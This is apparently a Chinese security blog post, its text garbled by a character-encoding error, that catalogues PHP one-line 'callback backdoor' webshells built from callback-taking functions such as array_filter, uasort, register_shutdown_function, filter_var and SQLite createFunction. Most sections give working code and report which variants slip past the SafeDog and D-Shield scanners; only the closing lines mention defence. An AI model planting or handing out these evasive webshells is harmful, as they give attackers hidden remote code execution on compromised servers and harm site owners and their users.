有同學(xué)收集tips,就有同學(xué)創(chuàng)造tips。那么我們?cè)趺磥韯?chuàng)造一些過狗、過D盾、無動(dòng)態(tài)函數(shù)、無危險(xiǎn)函數(shù)(無特征)的一句話(后門)?
根據(jù)上面這個(gè)pdo的一句話,我就可以得到一個(gè)很具有普適性的結(jié)論:php中包含回調(diào)函數(shù)參數(shù)的函數(shù),具有做后門的潛質(zhì)。
我就自己給這類webshell起了個(gè)名字:回調(diào)后門。
01 回調(diào)后門的老祖宗
php中call_user_func是執(zhí)行回調(diào)函數(shù)的標(biāo)準(zhǔn)方法,這也是一個(gè)比較老的后門了:
call_user_func(‘assert’, $_REQUEST[‘pass’]);
assert直接作為回調(diào)函數(shù),然后$_REQUEST[‘pass’]作為assert的參數(shù)調(diào)用。
這個(gè)后門,狗和盾都可以查到(但是狗不會(huì)攔截):
可php的函數(shù)庫(kù)是很豐富的,只要簡(jiǎn)單改下函數(shù)安全狗就不殺了:
call_user_func_array(‘assert’, array($_REQUEST[‘pass’]));
call_user_func_array函數(shù),和call_user_func類似,只是第二個(gè)參數(shù)可以傳入?yún)?shù)列表組成的數(shù)組。如圖:
可見,雖然狗不殺了,D盾還是聰明地識(shí)別了出來。
看來,這種傳統(tǒng)的回調(diào)后門,已經(jīng)被一些安全廠商盯上了,存在被查殺的風(fēng)險(xiǎn)。
02 數(shù)組操作造成的單參數(shù)回調(diào)后門
進(jìn)一步思考,在平時(shí)的php開發(fā)中,遇到過的帶有回調(diào)參數(shù)的函數(shù)絕不止上面說的兩個(gè)。這些含有回調(diào)(callable類型)參數(shù)的函數(shù),其實(shí)都有做“回調(diào)后門”的潛力。 我最早想到個(gè)最“簡(jiǎn)單好用的”:
$e = $_REQUEST[‘e’];
$arr = array($_POST[‘pass’],);
array_filter($arr, base64_decode($e));
array_filter函數(shù)是將數(shù)組中所有元素遍歷并用指定函數(shù)處理過濾用的,如此調(diào)用(此后的測(cè)試環(huán)境都是開著狗的,可見都可以執(zhí)行):
這個(gè)后門,狗查不出來,但D盾還是有感應(yīng),報(bào)了個(gè)等級(jí)3(顯然比之前的等級(jí)4要低了):
類似array_filter,array_map也有同樣功效:
$e = $_REQUEST[‘e’];
$arr = array($_POST[‘pass’],);
array_map(base64_decode($e), $arr);
依舊被D盾查殺。
果然,簡(jiǎn)單的數(shù)組回調(diào)后門,還是很容易被發(fā)現(xiàn)與查殺的。
03 php5.4.8+中的assert
php 5.4.8+后的版本,assert函數(shù)由一個(gè)參數(shù),增加了一個(gè)可選參數(shù)descrition:
這就增加(改變)了一個(gè)很好的“執(zhí)行代碼”的方法assert,這個(gè)函數(shù)可以有一個(gè)參數(shù),也可以有兩個(gè)參數(shù)。那么以前回調(diào)后門中有兩個(gè)參數(shù)的回調(diào)函數(shù),現(xiàn)在就可以使用了。
比如如下回調(diào)后門:
$e = $_REQUEST[‘e’];
$arr = array(‘test’, $_REQUEST[‘pass’]);
uasort($arr, base64_decode($e));
這個(gè)后門在php5.3時(shí)會(huì)報(bào)錯(cuò),提示assert只能有一個(gè)參數(shù):
php版本改作5.4后就可以執(zhí)行了:
這個(gè)后門,狗和盾是都查不出來的
同樣的道理,這個(gè)也是功能類似:
$e = $_REQUEST[‘e’];
$arr = array(‘test’ => 1, $_REQUEST[‘pass’] => 2);
uksort($arr, $e);
再給出這兩個(gè)函數(shù),面向?qū)ο蟮姆椒ǎ?/p>
// way 0
$arr = new ArrayObject(array(‘test’, $_REQUEST[‘pass’]));
$arr->uasort(‘assert’);
// way 1
$arr = new ArrayObject(array(‘test’ => 1, $_REQUEST[‘pass’] => 2));
$arr->uksort(‘assert’);
再來兩個(gè)類似的回調(diào)后門:
$e = $_REQUEST[‘e’];
$arr = array(1);
$e = $_REQUEST[‘e’];
$arr = array($_POST[‘pass’]);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
以上幾個(gè)都是可以直接菜刀連接的一句話,但目標(biāo)PHP版本在5.4.8及以上才可用。
我把上面幾個(gè)類型歸為:二參數(shù)回調(diào)函數(shù)(也就是回調(diào)函數(shù)的格式是需要兩個(gè)參數(shù)的)
04 三參數(shù)回調(diào)函數(shù)
有些函數(shù)需要的回調(diào)函數(shù)類型比較苛刻,回調(diào)格式需要三個(gè)參數(shù)。比如array_walk。
array_walk的第二個(gè)參數(shù)是callable類型,正常情況下它是格式是兩個(gè)參數(shù)的,但在0x03中說了,兩個(gè)參數(shù)的回調(diào)后門需要使用php5.4.8后的assert,在5.3就不好用了。但這個(gè)回調(diào)其實(shí)也可以接受三個(gè)參數(shù),那就好辦了:
php中,可以執(zhí)行代碼的函數(shù):
1. 一個(gè)參數(shù):assert
2. 兩個(gè)參數(shù):assert (php5.4.8+)
3. 三個(gè)參數(shù):preg_replace /e模式
三個(gè)參數(shù)可以用preg_replace。所以我這里構(gòu)造了一個(gè)array_walk + preg_replace的回調(diào)后門:
$e = $_REQUEST[‘e’];
$arr = array($_POST[‘pass’] => ‘|.*|e’,);
array_walk($arr, $e, ”);
這個(gè)后門可以在5.3下使用:
但強(qiáng)大的D盾還是有警覺(雖然只是等級(jí)2):
不過PHP擁有那么多靈活的函數(shù),稍微改個(gè)函數(shù)(array_walk_recursive)D盾就查不出來了:
$e = $_REQUEST[‘e’];
$arr = array($_POST[‘pass’] => ‘|.*|e’,);
array_walk_recursive($arr, $e, ”);
看了以上幾個(gè)回調(diào)后門,發(fā)現(xiàn)preg_replace確實(shí)好用。但顯然很多WAF和頓頓狗狗的早就盯上這個(gè)函數(shù)了。其實(shí)php里不止這個(gè)函數(shù)可以執(zhí)行eval的功能,還有幾個(gè)類似的:
mb_ereg_replace(‘.*’, $_REQUEST[‘pass’], ”, ‘e’);
另一個(gè):
echo preg_filter(‘|.*|e’, $_REQUEST[‘pass’], ”);
這兩個(gè)一句話都是不殺的:
05 無回顯回調(diào)后門
回調(diào)后門里,有個(gè)特殊的例子:ob_start。
ob_start可以傳入一個(gè)參數(shù),也就是當(dāng)緩沖流輸出時(shí)調(diào)用的函數(shù)。但由于某些特殊原因(可能與輸出流有關(guān)),即使有執(zhí)行結(jié)果也不在流里,最后也輸出不了,所以這樣的一句話沒法用菜刀連接:
ob_start(‘assert’);
echo $_REQUEST[‘pass’];
ob_end_flush();
但如果執(zhí)行一個(gè)url請(qǐng)求,用神器cloudeye還是能夠觀測(cè)到結(jié)果的:
即使沒輸出,實(shí)際代碼是執(zhí)行了的。也算作回調(diào)后門的一種。
06 單參數(shù)后門終極奧義
preg_replace、三參數(shù)后門雖然好用,但/e模式php5.5以后就廢棄了,不知道哪天就會(huì)給刪了。所以我覺得還是單參數(shù)后門,在各個(gè)版本都比較好駕馭。 這里給出幾個(gè)好用不殺的回調(diào)后門
$e = $_REQUEST[‘e’];
register_shutdown_function($e, $_REQUEST[‘pass’]);
這個(gè)是php全版本支持的,且不報(bào)不殺穩(wěn)定執(zhí)行:
再來一個(gè):
$e = $_REQUEST[‘e’];
declare(ticks=1);
register_tick_function ($e, $_REQUEST[‘pass’]);
另外一個(gè):
filter_var($_REQUEST[‘pass’], FILTER_CALLBACK, array(‘options’ => ‘assert’));
這兩個(gè)是filter_var的利用,php里用這個(gè)函數(shù)來過濾數(shù)組,只要指定過濾方法為回調(diào)(FILTER_CALLBACK),且option為assert即可。
這幾個(gè)單參數(shù)回調(diào)后門非常隱蔽,基本沒特征
07 數(shù)據(jù)庫(kù)操作與第三方庫(kù)中的回調(diào)后門
回到最早微博上發(fā)出來的那個(gè)sqlite回調(diào)后門,其實(shí)sqlite可以構(gòu)造的回調(diào)后門不止上述一個(gè)。
我們可以注冊(cè)一個(gè)sqlite函數(shù),使之與assert功能相同。當(dāng)執(zhí)行這個(gè)sql語句的時(shí)候,就等于執(zhí)行了assert。所以這個(gè)后門我這樣構(gòu)造:
$e = $_REQUEST[‘e’];
$db = new PDO(‘sqlite:sqlite.db3′);
$db->sqliteCreateFunction(‘myfunc’, $e, 1);
$sth = $db->prepare(“SELECT myfunc(:exec)”);
$sth->execute(array(‘:exec’ => $_REQUEST[‘pass’]));
執(zhí)行之:
面的sqlite方法是依靠PDO執(zhí)行的,我們也可以直接調(diào)用sqlite3的方法構(gòu)造回調(diào)后門:
$e = $_REQUEST[‘e’];
$db = new SQLite3(‘sqlite.db3′);
$db->createFunction(‘myfunc’, $e);
$stmt = $db->prepare(“SELECT myfunc(?)”);
$stmt->bindValue(1, $_REQUEST[‘pass’], SQLITE3_TEXT);
$stmt->execute();
前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函數(shù),自己研究我不列出了。
這兩個(gè)回調(diào)后門,都是依靠php擴(kuò)展庫(kù)(pdo和sqlite3)來實(shí)現(xiàn)的。其實(shí)如果目標(biāo)環(huán)境中有特定擴(kuò)展庫(kù)的情況下,也可以來構(gòu)造回調(diào)后門。 比如php_yaml:
$str = urlencode($_REQUEST[‘pass’]);
$yaml = <<<EOD
greeting: !{$str} “|.+|e”
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array(“!{$_REQUEST[‘pass’]}” => ‘preg_replace’));
還有php_memcached:
$mem = new Memcache();
$re = $mem->addServer(‘localhost’, 11211, TRUE, 100, 0, -1, TRUE, create_function(‘$a,$b,$c,$d,$e’, ‘return assert($a);’));
$mem->connect($_REQUEST[‘pass’], 11211, 0);
08 其他參數(shù)型回調(diào)后門
上面說了,回調(diào)函數(shù)格式為1、2、3參數(shù)的時(shí)候,可以利用assert、assert、preg_replace來執(zhí)行代碼。但如果回調(diào)函數(shù)的格式是其他參數(shù)數(shù)目,或者參數(shù)類型不是簡(jiǎn)單字符串,怎么辦?
舉個(gè)例子,php5.5以后建議用preg_replace_callback代替preg_replace的/e模式來處理正則執(zhí)行替換,那么其實(shí)preg_replace_callback也是可以構(gòu)造回調(diào)后門的。
preg_replace_callback的第二個(gè)參數(shù)是回調(diào)函數(shù),但這個(gè)回調(diào)函數(shù)被傳入的參數(shù)是一個(gè)數(shù)組,如果直接將這個(gè)指定為assert,就會(huì)執(zhí)行不了,因?yàn)閍ssert接受的參數(shù)是字符串。
所以我們需要去“構(gòu)造”一個(gè)滿足條件的回調(diào)函數(shù)。
怎么構(gòu)造?使用create_function:
preg_replace_callback(‘/.+/i’, create_function(‘$arr’, ‘return assert($arr[0]);’),$_REQUEST[‘pass’]);
“創(chuàng)造”一個(gè)函數(shù),它接受一個(gè)數(shù)組,并將數(shù)組的第一個(gè)元素$arr[0]傳入assert。
這也是一個(gè)不殺不報(bào)穩(wěn)定執(zhí)行的回調(diào)后門,但因?yàn)橛衏reate_function這個(gè)敏感函數(shù),所以看起來總是不太爽。不過也是沒辦法的事。 類似的,這個(gè)也同樣:
mb_ereg_replace_callback(‘.+’, create_function(‘$arr’, ‘return assert($arr[0]);’),$_REQUEST[‘pass’]);
再來一個(gè)利用CallbackFilterIterator方法的回調(diào)后門:
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST[‘pass’],)), create_function(‘$a’, ‘assert($a);’));
foreach ($iterator as $item) {
echo $item;
}
這里也是借用了create_function來創(chuàng)建回調(diào)函數(shù)。但有些同學(xué)就問了,這里創(chuàng)建的回調(diào)函數(shù)只有一個(gè)參數(shù)呀?實(shí)際上這里如果傳入assert,是會(huì)報(bào)錯(cuò)的,具體原因自己分析。
實(shí)際上,回調(diào)后門是靈活且無窮無盡的后門,只要php還在發(fā)展,那么就有很多很多擁有回調(diào)函數(shù)的后門被創(chuàng)造。想要防御這樣的后門,光光去指哪防哪肯定是不夠的。
簡(jiǎn)單想一下,只有我們?nèi)タ刂谱ssert、preg_replace這類函數(shù),才有可能防住這種漏洞。